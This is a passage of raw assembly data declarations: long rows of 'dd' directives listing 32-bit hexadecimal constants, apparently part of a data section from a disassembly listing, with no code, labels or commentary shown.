		dd 2D922BA8h, 0D4643F27h, 5F2501B8h, 9CDFF8C2h,	8401F7FDh
		dd 2B982E38h, 40E74FAEh, 0BDF79DBDh, 0F02C2934h, 902645Eh
		dd 4053784Ch, 30587E7Bh, 610C2CFFh, 42093F4Dh, 0CBCFBCE9h
		dd 8253139Ch, 7886B2E8h, 0B0FEC32Eh, 0CC379983h, 0B40AD10Bh
		dd 968D443Fh, 0CF14BC9Bh, 9429D3D2h, 0C6DD983Bh, 0D2024CE0h
		dd 0E9EE0111h, 0BBDDC818h, 5A7C1E8Ch, 60266Ah, 20BA58A6h
		dd 0FCC8D801h, 0E7C1062Eh, 18FEDE04h, 0B578020h, 9A6CCB75h
		dd 9AA0A81h, 0CF82701Eh, 880CBB8h, 0B6090559h, 787AB842h
		dd 0FF078120h, 0F25AAD63h, 726500FCh, 0CA813D7Ch, 315F24D2h
		dd 533409B0h, 0C97D272Fh, 0F4F9BD0Dh, 0D173424Bh, 460D096Bh
		dd 659F3F94h, 70DE267Dh, 60C0F2DBh, 0AC4E76BFh,	0B6A2F479h
		dd 0A8F61703h, 26053D90h, 6882044Dh, 8218164Fh,	0BD25DEEh
		dd 3A8026E2h, 7E791A6Ch, 665BC09Fh, 0E91B135Dh,	0C729A485h
		dd 0CC3C3916h, 9DB21004h, 0E9D230ECh, 985A7CBDh, 944FE7E2h
		dd 0E8980097h, 0B84BDB07h, 310BEC61h, 95305AD0h, 0B05914C2h
		dd 0F23FEC1Dh, 9FF6AA8h, 0D8ECE9DAh, 965CFAC8h,	89AE8C0Dh
		dd 2D38FCF8h, 80CC6F4Ch, 284CC96Ch, 9BA37709h, 9C5E8ABAh
		dd 0C3CAFE42h, 54EAF041h, 0A6B4B430h, 4AE22FEh,	124DECB9h
		dd 8A00EB1Fh, 831C02F1h, 0BAE92D0Ah, 0D299CE63h, 50EF055h
		dd 0FB528016h, 5F041EB8h, 822EBAF0h, 0F665C503h, 607E78Ch
		dd 13D5B006h, 0BDBAC2E9h, 1BB20458h, 68D4D128h,	20BD49A8h
		dd 842F2D9h, 0C027486Eh, 0D680A7E2h, 7BF0C61h, 0C205D170h
		dd 0E9D32780h, 958EB20Ch, 473B0F53h, 9218F24Fh,	0BA74FAB9h
		dd 0FB50581Ah, 5EAA0D85h, 0DB750B29h, 708AEF10h, 5D122D1Fh
		dd 74B96A09h, 0D6BABBB4h, 29439A04h, 4B5487F9h,	7641ABB1h
		dd 0D28B483Ch, 49E9E1E0h, 0C74BB76Ch, 0A0B785D9h, 6EE768F4h
		dd 2A30E68Dh, 922A58E4h, 0C84821D2h, 44AB0592h,	12A174F0h
		dd 4BE2DFC0h, 35610054h, 2FA622D5h, 878E0C1h, 8F262801h
		dd 58C589BFh, 0E5DA007Bh, 7A6425Dh, 0DA09F5ECh,	8E14FA60h
		dd 0EFFE22DBh, 5BBF78EBh, 80E1D85Fh, 4F95B152h,	0C614F8F5h
		dd 58882BBAh, 2C11669h,	9A6704D8h, 0B0B9023Dh, 5306A729h
		dd 1693B086h, 2DDB5252h, 0F817A92h, 4A3503E0h, 0D42385E7h
		dd 510D7F7h, 4012FFEBh,	0A9A21BFCh, 5B0B82D4h, 68DD815Fh
		dd 643C7E27h, 0D1002BDAh, 5A0288CAh, 9646E919h,	56E15487h
		dd 15D868D1h, 985E7808h, 0F723EA8h, 1EC15B12h, 4F24F65h
		dd 525E1F43h, 468D01BDh, 0E710213Eh, 78BF6FAh, 0F21F3273h
		dd 720347EEh, 283EA15Ah, 7B06762Ah, 0D1411AEAh,	17C22A1Ah
		dd 0AE5E0805h, 0AB922h,	7463C8B9h, 39BE0C00h, 1F38B9Ch
		dd 2E919CEh, 7F29CCC4h,	4E9EAD40h, 128734A8h, 8047E9EFh
		dd 80B0B3D7h, 0D84CC32Fh
		dd 0E11E90CAh, 25C5D1C3h, 0CB82EDF4h, 50854920h, 0C372BFC6h
		dd 0B607501Bh, 50D449EAh, 45C44B53h, 0E1F8E9E0h, 0E4932B55h
		dd 0AD8B3F22h, 0E9F4CE12h, 0C3E73092h, 1E07EDC0h, 0CCFACD80h
		dd 0BE541838h, 0D3277A0Bh, 0A0AA0E05h, 0F7282E12h, 4004D6D9h
		dd 0E05DFD1Dh, 1C4810E9h, 2D028026h, 4A262B0Bh,	0FBAE8069h
		dd 0E93E220Eh, 9D55C120h, 7383894Eh, 0E65FCFECh, 3E5C48F5h
		dd 0E93389E3h, 59AAA694h, 906813D3h, 650F603Eh,	78B01A07h
		dd 0F1017625h, 42FBA569h, 0C81F0BC9h, 0D3BC5D4Ch, 7B73F166h
		dd 94D6BC8Ch, 3368054Ah, 13C5E05h, 6281756h, 4C276C5Fh
		dd 3EFB0477h, 0A4843F3Ah, 7AFC3DE5h, 68381203h,	1D73C429h
		dd 0AD914B08h, 0BBF94AFh, 7B1093C4h, 793B7480h,	5C33BE6h
		dd 125326Ch, 86510AEh, 0E9525F06h, 0B31FD390h, 0BFFCD01Dh
		dd 0FAF35B4Fh, 9C790C93h, 890BEB65h, 5361F07Ah,	0CE9B095Dh
		dd 173EA065h, 9ED7F171h, 54DE7072h, 6CC56084h, 2DB3503Dh
		dd 252D5F16h, 0C6E1B020h, 8F29E92Dh, 4554A295h,	64FB5443h
		dd 0B52E92EEh, 0C05C9E61h, 109D2CE8h, 9E78E9E1h, 0DC8439A1h
		dd 0FE4A5014h, 162CBE04h, 0EE020214h, 24F0666h,	6DA04A43h
		dd 217C19CAh, 0F5D4Ch, 272C6301h, 3D5EF389h, 0FF2E3D1h
		dd 2E5657FAh, 0E810EB0Ch, 3ABA431Fh, 2A9FF380h,	2D0BDCh
		dd 59C65CB0h, 4F69FD05h, 0D829411Fh, 0E9250728h, 4CD98B4Ch
		dd 3BFBA1E5h, 0FC750693h, 0BA6275Dh, 0E5DF5E15h, 0C5FDE25Dh
		dd 41EBCABCh, 0BF754C16h, 64A2306Fh, 79E33112h,	89DC13h
		dd 0FAAE2F41h, 1A45FF05h, 23B82C42h, 0BD5609C0h, 0F07F016Bh
		dd 3913F45Ah, 0D202238Dh, 6111C25Ah, 5B00B6E8h,	0AE5EB551h
		dd 382173B1h, 0B0666B70h, 417D243Dh, 569FC0D6h,	0CCC0771Ah
		dd 94B1E0FAh, 0C0D95EE9h, 6E055FBBh, 39B0461Eh,	5A90BDD3h
		dd 3B7326F5h, 0CD027E02h, 6787553h, 7A072CDCh, 0F197FFFh
		dd 95EC3326h, 0E1691A9Eh, 3D385CC0h, 0D68079BCh, 817A8011h
		dd 131209E2h, 0C00664Fh, 3B34DB2h, 0C5EA0125h, 32328D2h
		dd 1CAE07C1h, 0C6F2D601h, 9E5A0887h, 21712F2h, 6350319Ch
		dd 0DC6A2C41h, 8BB77D6Bh, 9FF096Fh, 0E76D8215h,	0C696198h
		dd 0E8D916A5h, 8DE1CB03h, 0EC90059Ah, 0F235EE14h, 0B9660BE8h
		dd 62A45602h, 90D50C53h, 0D2321697h, 592C16CCh,	38450CA9h
		dd 0F868173Ch, 1E89AC5Eh, 9A82AD1Ah, 804C9D20h,	72586FBDh
		dd 0EDC10B04h, 826F8E04h, 816BB96Eh, 880620B7h,	345B925Ah
		dd 12A6E957h, 13408A1h,	46F4C002h, 62794074h, 0AFA4BD0Dh
		dd 0F1B3B52Ch, 885A6425h, 0CE59CC32h, 0B6EFAF1h, 111061EDh
		dd 1F6F9903h, 8FEEC735h, 0A1DD2AA2h, 206A1149h,	0C010993Dh
		dd 0C1BA028Dh, 400ED72Fh, 2E7AADA6h, 31B4A42h, 0B860D84h
		dd 240B870h, 95EC7880h,	0F2B04FE3h, 30ECD0C5h, 40E9C217h
		dd 0DE01C541h, 2861295Bh, 602E7561h, 0EB0558C9h, 4D5C0D72h
		dd 129F1C23h, 81E174D7h, 0E9A30343h, 0D820278Fh, 0CF6897AFh
		dd 4582F838h, 62F12C0Ch, 0BB002506h, 14F914D5h,	0FDD3F712h
		dd 2E11F4Ah, 1F9E5813h,	0B8072275h, 0F8290223h,	0C510E1h
		dd 5805CB81h, 0D948484Eh, 0F7C02E3Eh, 205ADA4Ch, 15916C6h
		dd 3063ECDFh, 31FD6195h, 6F09E067h, 4EDBF0D9h, 0A57DFC99h
		dd 4EBCD818h, 2F4EF750h, 160F785Ch, 612FD668h, 0AD8CED07h
		dd 0B096405Ch, 32F195A8h, 0E03EC980h, 9C886837h, 3FE90B5Eh
		dd 55526860h, 0B8805A5Bh, 4A075F6h, 0E9D5316Ch,	6851D02Fh
		dd 0E69D3D1Dh, 4F3A0918h, 40804EB7h, 63953BF6h,	61342E9Fh
		dd 36AF5193h, 0FA616860h, 0E92A0986h, 5D65208Ah, 0B726E3A6h
		dd 171C5E4Bh, 20BA813Ch, 42827BC1h, 384EF059h, 0E33097B4h
		dd 0FCCB8016h, 0E02813B0h, 0F1F2A408h, 56F6BA25h, 28F303A1h
		dd 223B59CBh, 0B8A14BC9h, 59AD06D6h, 312E7F2Dh,	36205150h
		dd 58321729h, 12481760h, 1E61AAFAh, 58022D81h, 2545562h
		dd 535B026Fh, 3F127557h, 7D3F537Bh, 51814AE4h, 177AB5D9h
		dd 0F8BD98ACh, 7CC0C882h, 2D54829Fh, 0B79FC669h, 0BBA14D60h
		dd 5140B6B6h, 3B25250h,	80EAD057h, 0E298CECAh, 0C248FE3Ch
		dd 0D7B424C8h, 3D84CC13h, 11022AEh, 20298540h, 0DE7B1ABFh
		dd 0BFC5A57Bh, 0BB917B27h, 0BE1930B6h, 2D16C497h, 3CA934C1h
		dd 21451E02h, 0C214B754h, 378E4008h, 0FD64A855h, 0EDE62AC6h
		dd 0BC50F194h, 82F341A3h, 1FF23F5Ch, 860F7F0Dh,	1DE118D7h
		dd 91821CEh, 8F56732Eh,	0F0106432h, 7F182F0h, 0BDA11AEAh
		dd 6B66C331h, 4340BF0Dh, 1F90016Eh, 60558734h, 3C1E2091h
		dd 0EA17764Ah, 4A56DEB0h, 84B8E9FEh, 0C0162129h, 0EC886413h
		dd 0C4D4F680h, 0FFB00EF0h, 72F00929h, 523594BBh, 0C92841FEh
		dd 1842BF20h, 2B8DC8E9h, 10B502ECh, 0B207CBBh, 0EDFE9EAh
		dd 0E1FCFE2Bh, 0D46E580Bh, 70D1C91Fh, 74DC72C1h, 4B2FC7F9h
		dd 0E47E4F9Fh, 0E9030630h, 25009654h, 0E8A43F71h, 0E9E7A127h
		dd 0D16B8AA2h, 3DB908E2h, 3737DFB0h, 4C1495F2h,	0E2B62739h
		dd 6F2062CCh, 0F12812B5h, 3E98F85Ah, 139D7DEBh,	90B28F14h
		dd 0F0C78923h, 0A4E0836h, 5D02A43Eh, 559C7EE9h,	0DF9C19E6h
		dd 16164089h, 9A4D333h,	936639D4h, 55E4B00h, 31C4356Ch
		dd 5023182Bh, 255850F7h, 3913DC70h, 59E84074h, 0F8A254B2h
		dd 71FCF301h, 69667E69h, 253BFCDBh, 550491F9h, 92C8E2Bh
		dd 90A30DE9h, 0F05EA25h, 0FE2978CEh, 3A7E55A9h,	97C8F097h
		dd 12B95839h, 9D3F03D6h, 1CE60B5Dh, 806AC945h, 0A83BFD58h
		dd 962D7B7Dh, 843044A7h, 0C36813E3h, 8473C92Ch,	0DF8E9F8h
		dd 4C0F4B4h, 1197472h, 480810F9h, 50B260ADh, 0EF5ED05Fh
		dd 3B48EF79h, 0ABEAC44Ah, 0E1ECD18Dh, 24DABAD9h, 52655934h
		dd 80258C1Bh, 0EBE3180Ah, 2FBD1316h, 0D9619131h, 44D826A2h
		dd 5B2A68AFh, 0E92F1D69h, 0D1806041h, 598299E6h, 17133AC4h
		dd 0F24B488Ah, 67762452h, 5149BA6h, 607E0BBFh, 0E69502E0h
		dd 42AF5622h, 0BA515455h, 0B8427568h, 97350041h, 10752847h
		dd 0A61E1A02h, 7C012D6Ch, 3774195h, 0CD8E20ADh,	0D321780Ch
		dd 9008841Ah, 0C0609A0h, 0C004761Fh, 8F38FF44h,	0BA81FF73h
		dd 1D2934B9h, 0D6D0606Eh, 5CC14180h, 97A03E1h, 4EF9E7EEh
		dd 67099256h, 0CD7E7C0Bh, 0D6F22ACEh, 29D25CE1h, 88791047h
		dd 5809E84Ch, 8451DC30h, 3B18E4A4h, 16AEC253h, 863567Bh
		dd 680BB303h, 0A244708Eh, 591555E6h, 9FBCE90Ah,	9CB14EA5h
		dd 93310D0h, 72A0D8E9h,	0A0555B0Eh, 0F3BECE27h,	0C08DB440h
		dd 310273E4h, 800D08ECh, 1BB760F4h, 8835B792h, 4BFACF0Bh
		dd 34ABB827h, 0E9F057D4h, 75B25E4Ch, 0AD31EFAFh, 8FA687DEh
		dd 370D0077h, 35724567h, 8029821Dh, 0FCA47ADh, 0B4D266E9h
		dd 4079590Dh, 0F1C4D72Fh, 5DF0BC79h, 0E64A7537h, 1F7E1208h
		dd 580C70EAh, 184A0368h, 0B5FBD38Ch, 36F4C509h,	0A86C1A59h
		dd 87228458h, 9BF5C15Eh, 49475CCEh, 13935B04h, 0E81309F6h
		dd 0A61E215Dh, 7E8205DEh, 0B8AEA0B0h, 2F819BEh,	68D9BF59h
		dd 7342DE76h, 12BC0171h, 43F904D4h, 3CB5A197h, 6EDB4D4h
		dd 4BEC6808h, 0E281E909h, 0FF12DD31h, 98FEC62Ch, 103B9581h
		dd 4620A8E7h, 0C911C9A0h, 89B9A416h, 0BE4AE60Ah, 0E3C189h
		dd 0DCEC3B3h, 303D7E2Fh, 0ED1DCB57h, 2A984505h,	0AB95A20Ah
		dd 925C601h, 0F604756Eh
		dd 0B2A0870Eh, 14D74488h, 9C05F849h, 685102ABh,	0D79841CCh
		dd 8816F3B4h, 0C00F58E1h, 0FE1A209Dh, 60E8C0C8h, 2C060605h
		dd 0C10430CEh, 0BDEB8058h, 0CB28E703h, 6DE7C75h, 18D5D1E5h
		dd 0D601F170h, 0F27A5A73h, 0F32A3C27h, 92ADBD94h, 0F6DEDF09h
		dd 0CFD5E0C4h, 0EB8E4BAEh, 0D0681EA1h, 5016675h, 2AFE2F82h
		dd 0C66E67A1h, 429813C6h, 4B242CB0h, 3D0B0F22h,	680D30D8h
		dd 8F51E706h, 2D6B8CE3h, 0A5552EF3h, 50ED9364h,	7523A089h
		dd 7202D8F7h, 4B823090h, 133DE47h, 1176C4E7h, 0EBC701Eh
		dd 3B05221Fh, 299FEF07h, 87E90651h, 0AC4A2928h,	0F70DD81Ch
		dd 200B97D6h, 2BE523A2h, 0F50B674h, 0E0C85BAFh,	854BD1ACh
		dd 0E15D88CDh, 982586E1h, 926E8A01h, 0E0BB5300h, 200414B8h
		dd 5E5BDD01h, 68B702AEh, 195527F7h, 0DD3E74B9h,	5C638DCEh
		dd 84BC14D3h, 0CA8379C2h, 0BAEAE898h, 0A7201445h, 4601AA3Dh
		dd 0C13F6B47h, 2D6A78E2h, 7FDAA9h, 0F8F9BFBAh, 6457B951h
		dd 0F743AF0Ch, 13AACD1h, 0C13ED523h, 214B02EBh,	805DD29Fh
		dd 0FE15F3D1h, 0BCF94B46h, 0EEB35E54h, 66828B91h, 0AD64BB0Fh
		dd 50BD3160h, 753929B8h, 670CB5D1h, 513668Ah, 5A074780h
		dd 42962624h, 1CDF092Ah, 0C25E2A72h, 3079A26h, 3E80F181h
		dd 4829E7F9h, 0BB848FC8h, 34EE1216h, 0ED0D844Ah, 0AEE91645h
		dd 5A2C42E0h, 0EA8D897Eh, 0CC81421Ah, 6DD295E8h, 4BEA2D06h
		dd 13727B15h, 0F4AD2BE9h, 0B4BAF9C2h, 0F20524Eh, 0B7D78957h
		dd 0EA64D58Ch, 30617601h, 0E45BE938h, 1069F79h,	46024E10h
		dd 0C3B82097h, 76F325CFh, 0CCCB0963h, 3C8F0358h, 1F40BE21h
		dd 6A8D4072h, 2C09202Eh, 6631FDE9h, 4B990049h, 0F78114ABh
		dd 0A448160Ah, 875C2441h, 67D6BD81h, 0A97424F4h, 17F50281h
		dd 1B2AA6Dh, 0B82462DEh, 0F68B52AFh, 24697CDh, 5746E295h
		dd 2B88B3C5h, 0E6810044h, 1BF85441h, 1FC3D15Bh,	451A3B1Eh
		dd 0C89DD612h, 68975970h, 11B6871h, 5B5D6E0Eh, 6E38E943h
		dd 24F61113h, 0F060914Bh, 774789D1h, 52EFD63Ch,	0E9435051h
		dd 0DCABD463h, 0E14FF718h, 53C979A6h, 75982800h, 893A7159h
		dd 0F65028CBh, 8331B000h, 42E2D14Bh, 76EA67C1h,	7D29E1CAh
		dd 0ABF2D844h, 0F35CE5EDh, 0E9F3D8F8h, 8889D92Ch, 1CDDBF01h
		dd 297119B8h, 64F25721h, 397C0B1Ah, 0B1D479D6h,	0F65E3782h
		dd 81E05D1Ch, 0F8044BD4h, 0FEE6E983h, 1484AD9h,	7D251648h
		dd 5350167Ah, 2DC24999h, 0BA4B02DBh, 0D2EA1060h, 0F8218025h
		dd 65D02397h, 0BE140013h, 5A9B0C57h, 0BD253B9h,	112A6A8h
		dd 841CEDCEh, 5ED9999Ch, 0BE08A2Fh, 0B05A7268h,	80831778h
		dd 53ABA66h, 3E6F4C35h,	0EA0A61C1h, 29F85138h, 0E95A12D5h
		dd 21D4C13Eh, 0FAB52ED3h, 1AF9B241h, 5B2930CCh,	0C09D64D8h
		dd 702F136Ch, 96A4055Bh, 0CC8E4F1Ah, 0B5F1949h,	524CB4CBh
		dd 6CC51425h, 2882BD08h, 0B8194A67h, 3412D093h,	7EED405Bh
		dd 0AA283A12h, 93FBAA33h, 87084FDFh, 0E7098BCAh, 5F7685D0h
		dd 0E9D2132Ah, 534B2E90h, 0B5B2E2h, 4C22F061h, 0F7984901h
		dd 0A1BFBECBh, 432D90B4h, 3FEEF730h, 472A4E07h,	54ED9FF0h
		dd 902F325h, 0E9198243h, 0ECFA485Eh, 384D36EFh,	30110DAFh
		dd 0F22EBC31h, 990DE41h, 0B6525A00h, 280704A3h,	0D051F02Fh
		dd 0B4E1099Dh, 742E9D0h, 52253A2Fh, 0EF8C52B1h,	1E61D041h
		dd 1B610214h, 0EA57F603h, 0A1A07D69h, 5F282DF5h, 0EFB02F5Ah
		dd 0E0F44F10h, 5977AFB3h, 1018404Ah, 0CA0FC12h,	0CDE9EF2Eh
		dd 0D83C0175h, 29CF2653h, 27E4AD9Dh, 94CD903h, 0E8F7B20Fh
		dd 0B7081F65h, 0BBD7809Bh, 0A47D5132h, 9EAF592Fh, 0D65525AFh
		dd 2F4CE06Dh, 0ED7ABD08h, 29219806h, 9DA58C5h, 3C10191Ah
		dd 3D7E7550h, 3008C39Dh, 83F002D2h, 0CB4DDE4Fh,	3FE140F9h
		dd 5B636EB7h, 5362B4D2h, 0E358140h, 433F7BC6h, 7765F2AEh
		dd 0ABED8278h, 2974C92Eh, 708F778Ah, 0B51EB1C4h, 8DECB8Bh
		dd 0EE4DDAFAh, 0AD543B76h, 2A8720Ch, 4C423868h,	56E85E61h
		dd 7EC0F23Ch, 7EEDCCC6h, 16564E20h, 504FFD3Dh, 0CA5AA58Ah
		dd 31131DF3h, 0C46CECC0h, 4BAE8F88h, 37E2E7D4h,	7968DB40h
		dd 3BF3185Fh, 0E880885Eh, 0E00AE16Bh, 253326C9h, 0C3490607h
		dd 0F7042ADFh, 2DC2C040h, 983A43EFh, 63113146h,	90DA0C4Eh
		dd 376582B5h, 32798BA9h, 0C05BEAA7h, 82B32AD0h,	0FCC0A77h
		dd 0BE340706h, 961F201Ch, 69965550h, 682513B2h,	8A107E58h
		dd 427F9264h, 12D4807Ch, 42A6094Fh, 0CB1E56C3h,	0C7104889h
		dd 0CB9DE1F6h, 0D368A0DBh, 0E8E95F62h, 449E71CDh, 8501FD52h
		dd 4CA35AE9h, 371F3A93h, 0F117352Bh, 7225A5B0h,	33E61E24h
		dd 0CC54C948h, 524BBFCEh, 5D662902h, 870564Bh, 0D81607E7h
		dd 0F137010Bh, 526A0234h, 0AA856771h, 41AADDCh,	68322C65h
		dd 74C81A80h, 2235A4Eh,	479802D4h, 8103CFC8h, 0B0CE207h
		dd 226F511Ch, 413BAD9Ah, 8F41D69Eh, 67025EEh, 0F4295043h
		dd 76312F68h, 0EA4CE898h, 181E017h, 9DFB65E0h, 232643D3h
		dd 667F27AFh, 17C36E59h, 0BC785368h, 581ED172h,	0FBBD4A2Eh
		dd 0EEF4AFCBh, 6C7F8F42h, 0A6E7207Ah, 0F1537B9Eh, 5B02221Bh
		dd 25BC3F6h, 2DDABE40h,	0FD61687Fh, 6DB32008h, 8F881851h
		dd 0C65B1C0Ch, 90E4E25h, 0D0F4158Dh, 773A4F00h,	81987DA7h
		dd 5FC48754h, 0F360EE9Ch, 486203A5h, 0B4EF738h,	0BB98337Bh
		dd 0E3B78864h, 59D33B00h, 1E614A25h, 0D4E9E72Ch, 636B23A2h
		dd 232196Ah, 0B466B920h, 0D980AF7Eh, 4CE1254Eh,	0A8CE2934h
		dd 1590802h, 614F7EF7h,	78F329E9h, 9168C296h, 8898A25Dh
		dd 7712FD15h, 21FC4FCCh, 171CC253h, 5530380Bh, 0BC5E5456h
		dd 0EBD9C747h, 0D2E49376h, 9D39E5B4h, 0F5BD0480h, 785FDE64h
		dd 0E5309BF1h, 0C751262h, 3D261E77h, 0CA008D1h,	0EFD2D217h
		dd 125CD47Ch, 0A2E4CCE9h, 0A7F45B13h, 17AB6B11h, 2E4CB5D4h
		dd 0D88E9791h, 1A62FCD7h, 75287E57h, 0B6980634h, 5424C867h
		dd 69D57E5Bh, 47FA338Bh, 4BB7A298h, 550C01A0h, 0E9619414h
		dd 0BBCD3427h, 0DB11A112h, 92C33600h, 0C16B2C1Bh, 72D2FF2h
		dd 82122EBAh, 54F4CDD4h, 51A74C65h, 8A58E4F5h, 31B3BE5Eh
		dd 0A7E8C52Eh, 71A049B4h, 331663EDh, 0CF212947h, 0B440558h
		dd 0B0F549FBh, 0BBFDACC3h, 84346C14h, 45ADD25Ch, 0BBFA75D3h
		dd 7056D609h, 86E0B732h, 88807DA0h, 3BD0E4DAh, 0C7175B5Ah
		dd 2187A158h, 3E18EDB8h, 0B529442Ch, 92519242h,	0A885ADA4h
		dd 8E00D164h, 0C91428C7h, 0EEF7EC4Ah, 9055FE5Ah, 6FB64912h
		dd 5B2554C4h, 5D5ABA50h, 88539B8h, 62354630h, 4E3C128Ch
		dd 0F74C9055h, 7A722B65h, 89D7E917h, 54C498F8h,	0F8CFABBBh
		dd 0A9223313h, 0D69A9113h, 0DE591D04h, 8304FD14h, 0C00C3C5Eh
		dd 10CE8AFBh, 5E16774Eh, 9606ECB0h, 244B3C1Fh, 9A31BF3Ah
		dd 70112F63h, 0DEE2782Dh, 20FEA352h, 96802D0h, 69894853h
		dd 31B20449h, 20BB34EEh, 3A793FCBh, 0AF056E02h,	550B8A21h
		dd 0A150DF04h, 1B26400Bh, 2609515Eh, 720C81E9h,	0A8C52073h
		dd 80FD281Dh, 856610C9h, 4AACD4C3h, 0ACD6E9C5h,	7B694291h
		dd 16EAC635h, 0FE16DEADh, 0D6C1B82Eh, 0A78C2104h, 14C179BCh
		dd 2F3A5069h, 65EEB8C0h, 7A912E3Dh, 38FE0370h, 1803498Eh
		dd 1A40471Fh, 75C4B429h, 6E650813h, 2C546EAh, 0BB9864A5h
		dd 72F256ECh, 0BF710095h
		dd 7ACE42A7h, 5435F13h,	0AF6C0151h, 7AB1B030h, 0A8614877h
		dd 4D386C4h, 32D85854h,	7555012Dh, 0B3E923E5h, 66149307h
		dd 1A794CF8h, 602E2C0h,	0D350D605h, 0B8AA5893h,	9ABAF4E4h
		dd 37F7ED07h, 0E56776A0h, 3DC45741h, 1324F5F0h,	0BC088044h
		dd 830288B6h, 27D8E952h, 40BA0D02h, 706F7061h, 39449548h
		dd 3524C509h, 0F312A8FDh, 28E68308h, 65A01570h,	0C22DD723h
		dd 55E62421h, 0F281C889h, 3468EF1Ch, 615B7C72h,	18801693h
		dd 4D765A88h, 1A9DB5E9h, 15027572h, 7C6CAC71h, 0BB02794Fh
		dd 667EEC68h, 6B4C94E1h, 0ECC0AB04h, 97AD9293h,	0AD385062h
		dd 51B4B566h, 0EFC3C8CBh, 0E1719509h, 0BEC247A5h, 2B786D5Bh
		dd 50218F2h, 15805D11h,	9835A048h, 463F409h, 778C8901h
		dd 0E14EA812h, 0D2685701h, 5F5D1218h, 819C026Fh, 0D5E016EFh
		dd 0F526E919h, 0FA84B6B5h, 0B8C7505Bh, 5A58C361h, 4FE9DDE8h
		dd 0F81895B2h, 7C84C9FFh, 0E07413EBh, 680E0D8Eh, 84735F13h
		dd 16A22DAEh, 0A9BE5600h, 0E95B0664h, 1AF6732Dh, 7B1DFC7Ah
		dd 0BC020C22h, 91BA63D9h, 0F04C8F64h, 73C96806h, 9D61EE95h
		dd 50C5EAD9h, 0F51F2844h, 0FA06F310h, 0C133357h, 3F79B705h
		dd 0ED87456Fh, 97D74E79h, 634945A0h, 5B4B4471h,	0DA3F8ACBh
		dd 0B3A4116h, 955E39D0h, 0C64DACBBh, 0EF0BE7ACh, 7FB56484h
		dd 16134B50h, 65D6EBB9h, 5B0769A8h, 0EBD19981h,	7C08C9C1h
		dd 7D6809ECh, 4A8C9A45h, 0F9165DAFh, 0E907095h,	40E64905h
		dd 0AAE9817Fh, 40746803h, 7F0D6DBAh, 1A411530h,	32DB0848h
		dd 217631F4h, 20E5E477h, 5B7E0A8Dh, 9091C35Bh, 56918AFh
		dd 3826ABD2h, 68870C90h, 1BD76DE0h, 0AB05E3h, 0C0FD2C50h
		dd 439601B7h, 9A4223AEh, 0EC50986h, 0AD311127h,	0FA084BCAh
		dd 0B9540457h, 0E4DD1042h, 79320848h, 97286C0Bh, 88F158C5h
		dd 76D4EE31h, 0BF265C49h, 99010F07h, 43F3602Bh,	0FA4CB075h
		dd 0EC705FFh, 0CBC45048h, 4A1B5880h, 0F7600C18h, 1FD642DAh
		dd 4F9FA700h, 0B8E9D629h, 8B049E16h, 0F44CA468h, 8180B3FCh
		dd 3BC30DCEh, 0C1565AA5h, 314860F9h, 0F7898DA0h, 47C9397h
		dd 33E95FB9h, 2556ADA6h, 79128B1Dh, 0D5E9597Eh,	16F23E8Dh
		dd 384CE9A1h, 964E30A9h, 45B5846Ah, 8A527E05h, 3833A01h
		dd 3E703D3Bh, 9EA89E11h, 0C494093Ch, 5CDA7F7Ch,	789D438Ah
		dd 3CC79539h, 0BF9A7FEh, 0C9F04BA6h, 5F65AA3Dh,	0A23A972Fh
		dd 5CD9FCE1h, 315DA099h, 8F1FC03Bh, 2550F209h, 2A0093F1h
		dd 0C3813883h, 9311A99h, 2F0AE91Eh, 58C01C54h, 8053B268h
		dd 0F1600BE9h, 262DD077h, 27C62760h, 0CB686A98h, 70CD515Bh
		dd 59B995F4h, 0DA9E1B75h, 0B589F7E8h, 6045C941h, 11176A13h
		dd 5CA8599Ch, 4B055310h, 8D107F4Ah, 0EAF8692h, 0EA601867h
		dd 28122C4Ch, 4804D03Ah, 92F83A2Ch, 0C1305BEEh,	74566866h
		dd 8399144h, 0E5258CABh, 77E30C86h, 9CB0211Ah, 0B1A569B4h
		dd 2FEBAEh, 5C192523h, 350A5443h, 0BD40500Ch, 98A88213h
		dd 9B2B57CFh, 84D7E062h, 1413B331h, 6E044B61h, 0ED29D353h
		dd 69CD30DFh, 16B54BFh,	0F78127B8h, 92A54C3Fh, 73A24420h
		dd 3D2C0332h, 48048A7Eh, 0CCAA757Dh, 0B909BAF8h, 803C613Fh
		dd 0CC1660DAh, 0D14A4866h, 4B76CA1Dh, 0F58031DFh, 44D20510h
		dd 24F3E924h, 1AD16884h, 5C567EF3h, 3A293B04h, 8BD4BA77h
		dd 0F4A80817h, 0CEEE83B4h, 0F901B71Dh, 30C06BD2h, 0E7D0F797h
		dd 1FFCCE60h, 0D346988Bh, 0EE81F447h, 29245909h, 62CF0033h
		dd 0CF55B94Ch, 0D84F5F18h, 7E50EB93h, 9D05008h,	76046118h
		dd 1206AFE4h, 82C14A02h, 0E54AAC89h, 0AB71607Ah, 9684D082h
		dd 4BD1C5E1h, 98D95BF3h, 79AF360h, 0E97516D1h, 0A6CAECCBh
		dd 342A094Ch, 59DC7947h, 5DB008A0h, 0ACE96ACFh,	9EA2F1Eh
		dd 68920825h, 6BCED100h, 87A1DB13h, 0C402A8Fh, 15012699h
		dd 5BDE2621h, 0EA402553h, 0C526AFE3h, 0C225EEE7h, 69FA71FEh
		dd 0BD78DCD0h, 0EAD22726h, 6B32E50Fh, 4E476458h, 10FEBD06h
		dd 0BD4DB498h, 21DDA05Ah, 0B6669D40h, 0AEB49E36h, 62E8ADD5h
		dd 0E5022D5Bh, 0E949A023h, 3E17FC68h, 9D767D75h, 72AF3AD3h
		dd 0ACE7F470h, 0C18FA29Fh, 562C96B3h, 9242A293h, 6C2FF5A6h
		dd 200CCF5Bh, 15563EC9h, 0EB7A2368h, 0A3094416h, 8FBF8093h
		dd 0B632FE1Dh, 0D5E3038h, 651E5519h, 7F00F181h,	0CF09153Bh
		dd 24D459h, 28225548h, 0F967EEC9h, 55DE8B89h, 7E09F646h
		dd 0D51D8E0Eh, 9B58248Bh, 1D3072E7h, 0CE7A5453h, 259CD4A3h
		dd 8B6F29F9h, 0B7D7F0C9h, 2C4045EEh, 92B9EBBh, 0B4004F5Ch
		dd 0CF7F23E4h, 0EC585B90h, 0B5D9927Fh, 6DF99CAFh, 62855D69h
		dd 20C52D55h, 6880B2CFh, 0B37962D9h, 94557EEDh,	0B6045E15h
		dd 207358E8h, 6A5A6BB5h, 0FEA4E4DBh, 31751208h,	7BF1099Dh
		dd 0BFAC8C0h, 0C5860ABh, 0A8F57467h, 0A42FE919h, 37F492Eh
		dd 0CB27F135h, 5BD69082h, 0E994C027h, 25279E8Eh, 55C44BF9h
